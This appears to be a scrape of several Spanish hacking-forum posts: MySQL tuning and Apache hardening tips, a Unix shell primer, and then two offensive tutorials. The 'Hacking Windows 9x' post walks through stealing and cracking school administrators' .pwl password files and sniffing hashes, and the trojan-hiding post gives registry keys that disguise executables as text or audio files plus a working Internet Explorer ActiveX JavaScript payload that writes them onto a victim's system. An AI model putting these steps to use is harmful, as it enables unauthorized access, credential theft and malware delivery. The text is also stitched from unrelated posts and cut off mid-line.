#dónde tenemos las bases de datos, por si queremos ponerlas en otra partición, por ejemplo.
basedir=/var/lib

[safe_mysqld]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

El max_connections por defecto es: 150, es mas que suficiente para según que cosas, pero en una máquina grande con muchas bases de datos, puede pasar que en un momento determinado hayan 150 conexiones simualtaneas. Entonces saldrá un error de "Too many connections".

También se pueden cambiar otros valores (variables):

variable = nuevovalor

Ejemplo:

key_buffer_size=8M

Una valor muy imporante para optimizar el MySQL es el "query caching". Creando una cache de las consultas podemos mejorar el rendimiento de la cpu y la velociad de las consultas.

Primero debemos asegurarnos que está activado:

mysql> SHOW VARIABLES LIKE ''mysql_query_cache'';

have_query_cache | YES  

Si está que no:

query_cache_type = 1

Definimos el tamaño de la cache en el archivo /etc/my.cnf

query_cache_size=100M

O más grande si tenemos mucha más ram (1gb-2gb)

También le podemos decir que querys con que tamaño minimo queremos que las guarde en cache:

query_cache_limit = 3M

Las consultas (querys) de más de 3 Mb no se guardarán en la caché.

Variables que conviene mirar:

Querys en caché

mysql> SHOW STATUS LIKE ''Qcache_queries_in_cache'';

Número de querys con caché servidas

mysql> SHOW STATUS LIKE ''Qcache_hits'';

Memoria libre de la cache para las querys.

mysql> SHOW STATUS LIKE ''Qcache_free_memory'';

Más variables a tener en cuenta:

http://www.mysql.com/doc/en/Query_Cache_Status_and_Maintenance.html


El MySQL lleva 3 archivos de configuración de ejemplo, para equipos pequeños (menos de 512 de ram), equipos medianos (más de 512 de ram) y para equipos grandes (1-2 Gigas de ram). Básicamente repercutirán en el consumo de ram del proceso MySQL, ya que los ejemplos de config varian el tamaño de la caché, de las consultas, etc.

# para equipos con =512 RAM
key_buffer_size=256M
max_allowed_packet=1M
table_cache=256
sort_buffer=1M
record_buffer=1M
myisam_sort_buffer_size=64M
thread_cache=8
# Try number of CPU''s*2 for thread_concurrency
thread_concurrency=8
log-bin
server-id   = 1


# para equipos con 1 o 2 GB de ram
key_buffer = 384M
max_allowed_packet = 1M
table_cache = 512
sort_buffer_size = 2M
read_buffer_size = 2M
myisam_sort_buffer_size = 64M
thread_cache = 8
query_cache_size = 32M
# Try number of CPU''s*2 for thread_concurrency
thread_concurrency = 8

Vamos a ver estos valores por otros "no oficiales" pero igualmente válidos y que funcionan mejor:

#equipos con 512 de ram (editar siempre /etc/my.cnf)
thread_cache_size=50
key_buffer=40M
table_cache=384
sort_buffer_size=768K
read_buffer_size=512K
read_rnd_buffer_size=512K
thread_concurrency=2

#equipos con 1gb de ram (editar siempre /etc/my.cnf)
thread_cache_size=80
key_buffer=150M
table_cache=512
sort_buffer_size=1M
read_buffer_size=1M
read_rnd_buffer_size=768K
thread_concurrency=2

Consejo/Recuerda: Grande no siempre quiere decir mejor (cuidado con poner valores muy grandes a key_buffer_size, innodb_buffer_pool_size)

Truco: mira las variables siguientes (son muy importantes si usas tablas MyISAM)

low_priority_updates=1
concurrent_insert=2

InnoDB es un sistema transaccional de bases de datos que está activado por defecto en MySQL 4.x y superiores. Básicamente lo que hace es leer más lento, pero escrbir más rápido (evitando locking tables)

Para convertir una tabla MyISAM a InnoDB:

Desde el PhpMyAdmin:

ALTER TABLE nombre_de_la_tabla
TYPE=InnoDB;

Aunque antes de eso tenemos que configurar el my.cnf para usar InnoDB:

my.cnf MySQL Configuración

# Data files must be able to hold your data and indexes.
# Make sure that you have enough free disk space.
#use this line for MySQL 4.xx.xx
innodb_data_file_path = ibdata:1G:autoextend:max:2G
#innodb_data_file_path = ibdata:1G
innodb_buffer_pool_size = 50M
innodb_additional_mem_pool_size = 10M
innodb_file_io_threads = 8
# Set the log file size to about 25% of the buffer pool size
innodb_log_file_size=20M
innodb_log_buffer_size=8M
innodb_flush_log_at_trx_commit=1

Más info:
http://dev.mysql.com/doc/mysql/en/adding-and-removing.html
http://dev.mysql.com/doc/mysql/en/innodb-configuration.html
http://www.databasejournal.com/features/mysql/article.php/3367871

Si después de añadir un nuevo ibdata el MySQL no arranca es porque seguramente hay más de 1 ibdata (el que se crea por defecto y el que acabamos de decirle que añada) y no sabe cuál escoger.

Te recomiendo pasar todas las tablas que estén en InnoDB a  MyISAM otra vez (para no perder nada) y borrar todos los ibdata que hayan (aunque tengan x tamaño, estarán vacios), y arrancar el MySQL de nuevo y el solito creará el ibdata de nuevo con x tamaño que le hayamos dicho.

Herramientas para optimizar el MySQL (nos ayudarán a escoger los valores óptimos para las variables importantes)
http://foro.elhacker.net/tutoriales_documentacion/herramientas_para_optimizar_mysql-t214396.0.html

Truco para optimizar el MySQL:

optimizer_search_depth por defecto es 64, si tenemos pocas tablas es recomendable bajarlo a un número mucho más pequeño.

5) Evitando Ataques al Apache

Algo de Seguridad:

Sino quieres que se muestre la versión del Apache que estás usando:

Busca ServerSignature y lo pones en off:

ServerSignature off

y añades debajo:

ServerTokens ProductOnly

De esta manera la versión de tu Apache será "Apache" a secas, sin decir la versión exacta (Ej. --> Apache 1.3.29).

ServerTokens permite especificar como opciones Minimal|ProductOnly|OS|Full.

Si usamos el mod_security del Apache debemos dejarlo en full:

Código:
ServerTokens Full

Y podemos invernos el servidor que queramos:

SecServerSignature "Microsoft-IIS/5.0"

-------------------------------------------------------------
--- Configurando Apache versión httpd-2.0.40 como IIS 5.0. ---
--------------------------------------------------------------

a)en el fichero: httpd-2.0.40/include/ap_release.h

cambiamos las lineas:

#define AP_SERVER_BASEVENDOR "Apache Software Foundation"
#define AP_SERVER_BASEPRODUCT "Apache"
#define AP_SERVER_BASEREVISION "2.0.40"
#define AP_SERVER_BASEVERSION AP_SERVER_BASEPRODUCT "/" AP_SERVER_BASEREVISION
#define AP_SERVER_VERSION AP_SERVER_BASEVERSION

#define SERVER_BASEVENDOR "Apache Group"
#define SERVER_BASEPRODUCT "Apache"
#define SERVER_BASEREVISION "1.3.24"
#define SERVER_BASEVERSION SERVER_BASEPRODUCT "/" SERVER_BASEREVISION

de manera que queden asi:

#define AP_SERVER_BASEVENDOR "Microsoft Corp"
#define AP_SERVER_BASEPRODUCT "Microsoft-IIS"
#define AP_SERVER_BASEREVISION "5.0"
#define AP_SERVER_BASEVERSION AP_SERVER_BASEPRODUCT "/" AP_SERVER_BASEREVISION
#define AP_SERVER_VERSION AP_SERVER_BASEVERSION

------------------------------------------------------------------

b)


en el fichero:

httpd-2.0.40/server/core.c

cambiamos la linea:


static enum server_token_type ap_server_tokens = SrvTk_FULL;

de manera que quede asi:

static enum server_token_type ap_server_tokens = SrvTk_MIN;


en este mismo fichero cambiamos:

static apr_status_t reset_version(void *dummy)
{
version_locked = 0;
ap_server_tokens = SrvTk_FULL;
server_version = NULL;
return APR_SUCCESS;
}


por esto otro:

static apr_status_t reset_version(void *dummy)
{
version_locked = 0;
ap_server_tokens = SrvTk_MIN;
server_version = NULL;
return APR_SUCCESS;
}



------------------------------------------------------------------

c)para terminar editamos el fichero:

httpd-2.0.40/os/unix/os.h

cambiando la linea:

#ifndef PLATFORM
#define PLATFORM "Unix"
#endif

para que queden asi:

#ifndef PLATFORM
#define PLATFORM "Win32"
#endif

Más:

Como quitar y modificar el banner del servidor Apache por SeSoX
http://www.iespana.es/hollygova/servicios_red/apache/apache_banner.txt


Si en el apache-status está todo el rato "L", o sea "Logging", te está diciendo ni más ni menos, que purges (vacies los logs, pero antes analiarlos con Awstats, WebAlizer, etc), ya deben tener un tamaño consdirable, y al apache le cuesta mucho rato loggear, o ya no tiene espacio.

Si en el apache-status hay muchas conexiones "R", o sea "Reading", significa que las dns de tu dominio están haciendo el tonto (han caído temporalmente, o algo parecido).

Si te atacan el apache (ataques DDoS, DoS, (Denegaciones de Servicio), muchas conexiónes por x tiempo, ataques por fuerza bruta) puedes usar el Mod_dosevasive (ahora llamado mod_evasive).

Follow this section for Apache 1.3.x.

-----command-----
cd /usr/local/src
wget http://www.nuclearelephant.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -zxf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/etc/httpd/bin/apxs -cia mod_evasive.c
-----command-----

 
Follow this section for Apache 2.0.x.
-----command-----
up2date -i httpd-devel
cd /usr/local/src
wget http://www.nuclearelephant.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -zxf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/usr/sbin/apxs -cia mod_evasive20.c
-----command-----

 <IfModule mod_evasive.c>
DOSHashTableSize 3097
DOSPageCount 5
DOSSiteCount 100
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 600
</IfModule>

Fuente:
http://www.eth0.us/?q=mod_evasive


Comandos Linux:
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
netstat -ntu | grep -v TIME_WAIT | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
netstat -an | grep :80 | awk '{print $5}' | cut -f1 -d":" | sort | uniq -c | sort -n

Otro módulo para proteger el apache y que es altamente configurable es el mod_security

http://www.modsecurity.org/projects/modsecurity/apache/
http://www.securityfocus.com/infocus/1739
http://www.modsecurity.org/documentation/converted-snort-rules.html
http://www.onlamp.com/pub/a/apache/2003/11/26/mod_security.html

Revisa también las directivas RLimitCPU y RLimitMEM del Apache para poner límites del Apache de uso de CPU y memoria. Así evitarás DoS.

Limitación de peticiones grandes: Apache tiene varios directorios que permiten que limites el tamaño de una petición. Esto puede también ser útil para atenuar los efectos de un ataque Denial of Service.

Un buen lugar a comenzar es el directorio de ¨LimitRequestBody¨. Este directorio está fijado a ilimitado por defecto. Si estás permitiendo subidas de archivos de no más de 1MB, podrías fijar este ajuste en algo como:

LimitRequestBody 1048576

Algunos otros directorios a mirar son ¨LimitRequestFields¨, ¨LimitRequestFieldSize¨ y ¨LimitRequestLine¨. Estos directorios se fijan a algo razonable para la mayoría de los servidores, pero puedes desear limitarlos para adaptarlos lo mejor posible a tus necesidades.

.- Limitación del tamaño de XML Body: Si estás ejecutando el ¨mod_dav¨, entonces puedes desear limitar el tamaño máximo de un cuerpo de la petición de XML. El directorio de ¨LimitXMLRequestBody¨ está solamente disponible en Apache 2, y su valor prefijado es 1 millón de octetos (aproximadamente 1 Mb). Muchos tutoriales tendrán fijado este valor a 0, lo que significa que los archivos de cualquier tamaño pueden ser subidos; lo que puede ser necesario si estás utilizando WebDAV para subir archivos grandes, pero si lo estás utilizando simplemente para el control del source, puedes fijar un límite superior, tal como 10 Mb:

LimitXMLRequestBody 10485760

¿Quieres saber más para evitar ataques DDoS?

http://foro.elhacker.net/tutoriales_documentacion/intentando_detener_un_ddos-t137442.0.html
http://www.eth0.us/sysctl
http://opensource.srs-consulting.biz/doc/lsc/
http://www.securityfocus.com/infocus/1729
http://www.elhacker.net/opciones-seguridad-linux-proc.html

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j REJECT --reject-with tcp-reset

=====================================================================

6) Protegiendo ancho de banda

La mejor manera para proteger el ancho de banda de tu apache es haciendo que nadie pueda linkarte descargas o imágenes. Las técinas de oculstimos en directorios raros o scripts PHP, no son métodos del todo efectivos.

El único requisito previo es tener activado el módulo rewrite.

Vamsos a ver un ejemplo haciendo un .htaccess en el directorio que queramos proteger y añadiendo:


RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER ^http://yourDomain.dom/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.yourDomain.dom/.*$ [NC] RewriteRule .*.png$ - [L]
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://yourDomain.dom/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.yourDomain.dom/.*$ [NC] RewriteRule .*.jpg$ - [L]

RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !
^http://yourDomain.dom/.*$ [NC]
RewriteCond %{HTTP_REFERER} !
^http://www.yourDomain.dom/.*$ [NC] RewriteRule .*.gif$ - [L]


Esto permite que las imagenes png, jpg y gif de ese directorio puedan ser vistas por nosotros, pero no linkadas o vistas desde otros dominios.


Protegiendo que te linkeen (segunda parte)

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?site.com/.*$ [NC]
RewriteRule .(gif|jpg)$ - [F]


RewriteRule .(gif|jpg)$
http://www.site.com/stop.gif [R,L]

Falta cambiar "site.com" y stop.gif with por tus nombres reales. Al intentar ver una imagen desde otro dominio aparece la imagen stop.gif.

¿verdad que es fácil? Modo mod_write activado y expresiones regulares y marchando.  

Hay otras maneras, si tienes un descargas en archivos "zip", puedes proteger estes archivos mediante contraseña. También puedes incluir un readme o un .url dentro del zip.

Otra buena manera de proteger tu ancho de banda (especialmente en las descargas) es utilizando la "Autorización del Apache" que se ve en el punto 8.

Veamos ahora un ejemplo:

Queremos proteger el directorio descargas:

<Directory "/home/pepe/public_html/descargas">
    AuthUserFile /home/pepe/htpasswd
    AuthType Basic
    AuthName "Escribe un nombre de usuario y contraseña"
    require valid-user
</Directory>

De esta manera para descargar cualquier archivo o documento que haya en la carpeta descargas será necesario introducir un nombre de usuario y contraseña válida. De la misma manera si hay una carpeta dentro de descargas (descargas/otrasdescargas) quedará también automáticamente protegida.

Para aprender a crear el htpasswd consulta el punto 8.

Otra manera pasa por subir las descargas a otro lugar y sin borrarlas de tu maquina incluir este sencillo código:

Redirect permanent /descargas http://www.miotraweb.com/descargas

Todas las descargas se bajarán de "miotraweb.com", aunque estén en nuestra máquina.
 
=====================================================================

7) Autorización en Apache

Autorización del Apache basada en host (ip):

<Directory /privado>
order deny,allow
deny from all
allow from ip1
allow from ip2
</Directory>

Autorización del Apache basada en usuario:

Primero crear el usuario con el binario (el binario, el .exe en windows, se encuentra por defecto en la carpeta bin del apache y en linux en /usr/local/apache/bin):

htpasswd -c htuser alex

Te pedirá la contraseña de alex dos veces.

Nos crea el archivo htuser que es donde está la contraseña de alex y tenemos que llamar a ese archivo en el httpd.conf

Ejemplo en Windows:

AuthUserFile  "C:Archivos de programaApache GroupApache2inhtuser"

Ejemplos enn Linux:
#el password está en el achivo htpasswd
AuthUserFile /home/alex/htpasswd
AuthUserFile conf/htuser
AuthGroupFile conf/htgroup

El arhivo htuser debe estar en conf, y sino le dices la ruta :)

Lo mejor es poner este archivo de password fuera del httdocs que tengamos, ya que aunque la contraseña está cifrada, es mejor no jugarsela y que algún listillo nos crackee el pass.

Quedaría así:

<Directory /privado>
AllowOverride None
Options Index
#donde está el fichero con lo passwords
AuthUserFIle conf/htuser
AuthGroupFile conf/htgroup
#nombre del recurso
AuthName "Privado"
#tipo
AuthType Basic
require user alex pepe
requiere group admin
# o bien
require valid-user
</Directory>

=====================================================================

8) Apache con una dirección IP dinámica

 Copy/paste de http://www.escomposlinux.org/lfs-es/recetas/apache-dynamic-ip.html

Como hacer funcionar Apache cuando tienes una dirección IP dinámica, por ejemplo, una conexión PPP.

He investigado como utilizar dominios virtuales en Apache con una
dirección IP dinámica, y estoy tan orgulloso de la solución que he
encontrado, que voy a compartirla contigo :)

** (Nota, esto necesita la última versión de Apache (1.3.12) para
funcionar **

Copia el fichero /usr/local/apache/conf/httpd.conf en
/usr/local/apache/conf/httpd.conf.template y añade esto al final:

(NO cambies "----REPLACE_THIS_WITH_DYNIP----", ya que debe aparecer tal y como está :)

------------ [PARTE DE httpd.conf.template ] ------------

NameVirtualHost ----REPLACE_THIS_WITH_DYNIP----

<VirtualHost ----REPLACE_THIS_WITH_DYNIP---->
   ServerName www.domain1.com
   DocumentRoot &quo
6282  Informática / Tutoriales - Documentación / Curso Shell en: 28 Agosto 2002, 15:55 pm
v.01

Bueno pues, son las 22:57 y voy a explicar todo lo que pueda sobre una shell.

Una shell no es más que una sesión en un ordenador remoto (este ordenador usa linux, freeBsd, etc).

Un ejemplo es está shell de Hispashell.com que utiliza FreeBSD.

Con una shell puedes hacer cantidad de cosas que iremos viendo:

Entrando a HispaShell.com

login: milogin
Password:
Last login: Wed Jan 30 21:43:44 from 193.153.57.107

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

HispaShell.com - Shell

Puede ejecutar máx x proceso

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

CONOCE las REGLAS: teclea "reglas" para leerlas

VHOSTS: teclea "vhosts" para verlos

CONTACTOS:

Soporte: soporte@HispaShell.com
Ventas: ventas@HispaShell.com
Información: info@HispaShell.com
ONLINE: /server irc.DAL.net - Canal #HispaShell

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

-
-
Editores de texto: ee pico
Cliente de correo: pine
Clientes de IRC: BitchX scrollz irc
Clientes de web: lynx links
Cliente ICQ: centericq
Descargar Programas: fetch lynx ftp
-
Para mas ayuda escribe "man comando"

Para escribir un nombre largo usa el tabulador, es un auto-completador genial

listar directorios

[pepe <~>]$ ls
egg/ mail/ public_html/


te dice el directorio en el que estas

[pepe <~>]$ pwd
/home/ns2

para bajar un directorio

[ns2 <~>]$ cd ..
[ns2 </home>]$

borrar un directorio y ficheros que contenga

[ns2 <~>]$ rm -r egg


crear una carpeta

[ns2 <~>]$ mkdir carpeta

para detener el comando acttual (apretando control + c)

ver la memoria (jeje fijate que hay un 1GB xDDD )

[ns2@<~>]$ free
total used free shared buffers cached
Mem: 1028788 1015552 13236 0 69912 567056
-/+ buffers/cache: 378584 650204
Swap: 570296


Cantidad de disco duro

[ns2 <~>]$ df
bash: /bin/df: Permission denied

jejeje, no tengo permisos

Mostrar por pantalla

[ns2 <~>]$ cat > fichero.txt

Escribir fichero

[ns2 <~>]$ echo a > fichero.txt
Ver unidades montadas

[ns2 <~>]$ mount
/dev/ad0s1a on / (ufs, local)
/dev/ad0s1f on /usr (ufs, local, with quotas)
/dev/ad0s1e on /var (ufs, local)
procfs on /proc (procfs, local)

ver quien hay conectado

[ns2 <~>]$ who
mathyus ttyp0 Jan 30 10:38 (213.96.75.115)
ns2 ttyp1 Jan 30 23:16 (193.153.57.107)
dkt ttyp2 Jan 30 21:36 (213.97.219.85)

hablar con otro user

[ns2 <~>]$ talk user


ver quien eres

[ns2 <~>]$ whoami
ns2

info sobre usuario

[ns2 <~>]$ finger ns2
Login: ns2 Name: elhacker.net
Directory: /home/ns2 Shell: /usr/local/bin/bash
On since Wed Jan 30 23:16 (CET) on ttyp1 (messages off) from 193.153.57.107
No Mail.
No Plan.

ver procesos

[ns2 <~>]$ ps
PID TT STAT TIME COMMAND
85433 p1 S 0:00.01 -bash (bash)
85440 p1 R+ 0:00.00 ps
85103 p3- S 0:01.03 ./eggdrop -m eggdrop.simple.conf (eggdrop-1.4.5)

matar proceso (mato el eggdrop)

[ns2 <~>]$ kill 85103

Si se pone tonto el proceso

[ns2 <~>]$ kill -9 85103

info del servidor

[ns2 <~>]$ uname -a
FreeBSD HispaShell.com 4.5-PRERELEASE FreeBSD 4.5-PRERELEASE #0: Sun Dec 2 03:59:00 MYT 2001 dalok0kat@HispaShell.com:/usr/obj/usr/src/sys/HISPASHELL i386

espacio usado

[ns2 <~>]$ du
2 ./public_html
9019 ./egg
1 ./.BitchX
3 ./mail
9053 .

Para ejecutar programas

[ns2 <~>]$ ./programa opciones

Ejemplo:
[ns2 <~>]$ ./eggdrop -m archivo.conf


Para instalar programas con tu shell

Primero subes tu programa por FTP a tu carpeta home/name

lo descomprimes

[ns2 <~>]$ tar xvzf archivo.tar.gz

se te crea una carpeta nombre archivo

[ns2 <~>]$ cd archivo

lees la documentacion

[ns2 <~>]$ pico INSTALL

configuras el programa

[ns2 <~>]$ ./configure

lo compilas

[ns2 <~>]$ make

haces el make install en tu directorio

[ns2 <~>]$ make install DEST


Common SSH Commands - Linux Shell Commands
http://webhostgear.com/35.html

http://suso.suso.org/docs/infosheets/shell-commands.gif

http://linux.about.com/library/cmd/blcmdl_1d.htm

http://webhostgear.com/35.html
6283  Informática / Tutoriales - Documentación / 1 -Hacking Windows 9x en: 28 Agosto 2002, 15:54 pm
Bueno, me he animado y escribiré un pequeño curso.

Empezemos por lo más básico. En casi todas las escuelas, universidades y empresas utilizan el windows 9x. Veremos lo relativamente fácil que es jugar con él. Más adelante veremos el NT y Linux, mucho más divertido pero también más difícil.

La lección de hoy es hackear un windows 9x en red con un servidor NT. El nivel de dificultad es mínimo o inexistente.

Primero debemos encontrar los logins y passwords del/los administradores o usuarios equivalentes.

Buscamos todos los *.pwl que se encuentren en la carpeta C:\Windows. El nombre del archivo es el username, pero no hay que fiarse, porque si el nombre es muy largo (ejemplo: administrador) el pwl es admin.pwl y el login no es admin, sino administrador.

Para saber correctamente el login de los usuarios debemos buscar en el system.ini la entrada Password List donde sale el nombre del usuario seguido de su pwl:

Ejemplo:

Password List
administrador=admin.pwl

El pwl se crea siempre que ese usuario ha entrado en ese PC. Así que lo más probable es que en tu PC no este el pwl del admin o de algún profesor. Para eso existen los sniffers.

Una vez tenemos el *.pwl copiarlo a un disquete y nos lo llevaremos para casa para poder jugar con él. Allí dentro se encuentra la contraseña, pero está cifrada asi que no es os ocurra abrilo, ya que no entendereis nada.

Un buen desencriptador/decodificador del pwl es el Cain, disponible en la sección de Hacking. Lo único que hace el Cain es probar combinaciones ya sean de Fuerza Bruta (todas las posibilidades) o Diccionario (probar todas las palabras de un diccionario). Se puede configurar la fuerza bruta (A-Z, Números, etc) y sino teneis un buen diccionario, no sé a que esperais a a haceros uno, es lo más rápido y eficaz que hay.

Cain necesita saber el username del pwl, por eso hemos abierto el system.ini. Se pueden guardar los ataques del Cain, ya que pueden durar semanas, meses, dependiendo de la longitud y dificultad de la contraseña.

Sino sabemos el username porque en el system.ini no sale ningún admin, debemos instalar el Cain en nuestro pc del colegio y activar la opción del Sniffer (Configurando primero el Cain, debemos decirle la tarjeta de Red para que caputre los paquetes ). El sniffer del Cain capta los hash de los usuarios que se conecten al momento. Así veremos como si lo ponemos a primera hora, veremos como se conecta el admin, el profe, etc. Ya tenemos el username, pero nos falta como no el password, que sacaramos como siempre, por fuerza bruta o diccionario.

Una vez encontrada la contraseña (password found) iremos al colegio y entraremos con nuestro login y pass. La primera vez que entremos si no estaba creado el pwl se crea el pwl y no tendremos permisos para hacer nada. Si ya estaba el pwl, si tendremos acceso ya como admin.

Ya podeis navegar por el Entorno de Red sin ningún tipo de restricciones. Incluso saldrán nuevos pc, carpetas compartidas, carpetas que no tenias permisos se vuelven amigas.

Si no hay carpetas compartidas en el servidor, no te preocupes. Si el servidor es un NT comparte por defecto la C. Así que escribe en tu navegador http://ip/c$.

Así podrás acceder a la c, recuerda el simbolo del dollar ($). Puedes copiar archivos, leer, etc.

Otro dia seguiremos. Ahora me voy a dormir.
6284  Informática / Tutoriales - Documentación / Ocultación de troyanos en: 28 Agosto 2002, 15:54 pm
Cualquier tipo de archivo (.wav .jpg .txt ...) puede ser un ejecutable

Aunque no sea muy habitual, es posible hacer pasar un troyano ( virus, o cualquier otro ejecutable) por un archivo de texto (.txt), de audio (.wav), una carpeta, o cualquier otro tipo de archivo (si, cualquiera).




Estos archivos son en realidad troyanos, y como puedes ver parecen archivos inofensivos.
Vamos a ver como se consigue hacer pasar un ejecutable por cualquier otro archivo en apariencia inofensivo.

La técnica consiste en "contaminar" el sistema, de manera que una vez infectado, sea vulnerable a este método y sea él mismo el que haga parecer a los archivos maliciosos, archivos totalmente inofensivos.
Increíblemente se trata de un método facilísimo.
Vamos a explicar paso a paso como se hace, para poder así saber como tenemos que protegernos de este posible ataque.

Lo que vamos a hacer es crear una extensión nueva, darle características de ejecutable, y ocultarla, crearemos en este ejemplo la extensión ".troj" .
De esta forma lo que nosotros tenemos es un archivo, por ejemplo, "server.exe", al que le hemos puesto el icono propio del txt, lo renombramos a "server.txt.troj", tras "contaminar" el sistema de la víctima, la extensión .troj, no solo será reconocida como ejecutable, sino que incluso desaparecerá, y por lo tanto lo que tendremos como resultado será un archivo server.txt (que se puede renombrar como readme.txt por ejemplo) en el que al hacer click se ejecutará el "server.exe".


CREANDO LA EXTENSIÓN:

Antes de pensar en otras cosas, lo primero es saber como podemos hacer que se cree nuestra extensión en el PC de la víctima.
Para crear una extensión, es necesario añadir las claves adecuadas al registro, y para ello se utilizan los archivos ".reg"
En este punto vamos a diferenciar entre Windows98 y Windows NT/2000/XP, puesto que hay ciertas cosas que varían entre uno y otro, el ejemplo que vamos a crear está pensado para que funcione en NT/2000/XP, para Windows98 no tiene mayor complicación, pero hay que cambiar algunas cosas.
Con estas líneas añadimos lo que necesitamos al registro:

REGEDIT4
[HKEY_CLASSES_ROOT\.troj]
@="trojfile"
[HKEY_CLASSES_ROOT\trojfile]
@="Documento de texto"
"NeverShowExt"=""
[HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]
@=""%1" %*"

Vamos a explicarlo un poco para el que no lo entienda:
REGEDIT4
Es la cabecera que indica que es un archivo de registro, dependiendo del sistema, también podría poner "Windows Registry Editor Version 5.00", según la versión.
[HKEY_CLASSES_ROOT\.troj]
Añadimos a la clave HKEY_CLASSES_ROOT la extensión ".troj", en HKEY_CLASSES_ROOT, se encuentra el registro de todas las extensiones y los tipos de archivo conocidos por nuestro sistema.
@="trojfile"
La "@" se utiliza para añadir claves con el valor de (Predeterminado)
"trojfile" es el tipo de archivo al que pertenecerán los archivos con extensión ".troj"
Para que lo entiendas mejor, abre el regedit32.exe, y ve hasta HKEY_CLASSES_ROOT, verás que la extensión, por ejemplo, ".txt" está asociada con los "txtfile", la ".exe" está asociada con los "exefile" etc.
[HKEY_CLASSES_ROOT\trojfile]
Añadimos el tipo de archivo "trojfile"
@="Documento de texto"
Esta es la clave que define a los "trojfile" (los ".troj") como documentos de texto, gracias a ello, cuando alguien vea las propiedades del documento, verá en "Tipo de archivo:" el valor "Documento de texto".
"NeverShowExt"=""
Esta clave es un punto fundamental en el proceso, añadiendo esta clave a cualquier tipo de archivo conseguimos que la extensión del archivo desaparezca.
La clave "NeverShowExt" es la responsable de que cierto tipo de extensiones no se vean.
Estas son las extensiones que permanecen invisibles:
.cnf
.lnk
.pif
.scf
.shb
.shs
.url
El hecho de que estas extensiones permanezcan ocultas se debe a que poseen la clave en el registro "NeverShowExt". Todas las extensiones que tengan este atributo en el registro, permanecerán invisibles en Windows aunque lo tengamos configurado para ver todas las extensiones.
Por lo tanto nosotros la añadiremos a nuestro tipo de archivo para hacer desaparecer nuestra extensión.
[HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]
Esta es la ruta en la que hay que poner qué programa se utilizará para abrir ese tipo de archivo.
@=""%1" %*"
Esto indicará que se abra como cualquier otro ejecutable, en este punto es donde se define, por ejemplo que los .txt se abran con el notepad.exe poniendo algo así:
@="%SystemRoot%\system32\NOTEPAD.EXE %1".

Bien, metiendo todo esto en un ".reg" ya tenemos lo que buscábamos. Al pinchar sobre el ".reg" se añadirá automáticamente la nueva extensión al registro, y el archivo "server.txt.troj" se transformará en "server.txt" (con el icono del txt porque anteriormente habíamos modificado el "server.exe" para que llevara este icono).

Hasta aquí, como idea no esta mal, pero sabemos que sólo un usuario del grupo de administradores tiene permiso para manejar el registro. por lo tanto debemos buscar la manera de que sea el administrador del sistema el que se contamine.

No voy a explicar aquí ninguno de los métodos de intrusión, puesto que creo que ya están bastante explicados, y no es el propósito de este texto. partimos del supuesto de que se consigue engañar al admin y hacerle ejecutar un archivo que contenga no sólo un troyano, sino este método de "contaminación" del sistema, que una vez llevado a cabo, servirá para posteriores infecciones.
Es decir, una vez que alguien está contaminado, se le pueden mandar por el IRC, o por Mail troyanos renombrados a "readme.txt.troj", "sonido.wav.troj" etc. Con la ventaja de que a ojos de la víctima aparecerán como "readme.txt", "sonido.wav" etc, archivos que eludirán los filtros de los scripts de IRC que bloquean las extensiones conocidas como peligrosas (.exe, .bat, .vbs...) y los filtros de algunos clientes de correo que siguen el mismo fin, además la víctima no tendrá ningún problema en pinchar sobre ellos, puesto que parecen inofensivos.

¿De que manera, por tanto, es posible mandar las claves del registro a la víctima?

Vamos a diferenciar 2 maneras diferentes, mediante un javascript y mediante un ejecutable.



1.-Mediante un javascript: Actualizado el 14-12-2001

Hablando un dia sobre este articulo con [^eLaiM^] , surgió la posibilidad de recrear este método de "contaminación" del sistema mediante un HTML. El código siguiente es el resultado de estudiar esa posibilidad.

Vamos a valernos de la vulnerabilidad del Internet Explorer en sus versiones 5 y 5.5, explicada aquí y que permite que un atacante modifique el registro de la víctima.

El código fuente que debemos utilizar sería este:

#script#
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f() {
try {
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try {
Shl.RegWrite ("HKCR\\.troj\\", "trojfile");
Shl.RegWrite ("HKCR\\trojfile\\", "Documento de texto");
Shl.RegWrite ("HKCR\\trojfile\\NeverShowExt", "");
Shl.RegWrite ("HKCR\\trojfile\\shell\\open\\command\\", "%1 %*");

}
catch(e) {}
}
catch(e) {}
}

setTimeout("f()", 1000);

#/script#

(sustituye los simbolos "#script#" y "#/script#" por "<script>" y "</script>" para que funcione ).

Si el atacante, consigue que la víctima abra este código ( metido en un html ) ya sea por web o por mail, conseguirá que en el PC de la víctima se cree la extensión maliciosa que "contaminará" el sistema.

Este método es válido para "contaminar" sistemas Win9x/NT/2K



2.-Mediante un ejecutable:

(Vamos a fabricar un ejecutable, de una manera fácilmente entendible que cree la extensión maliciosa en el PC de la víctima).

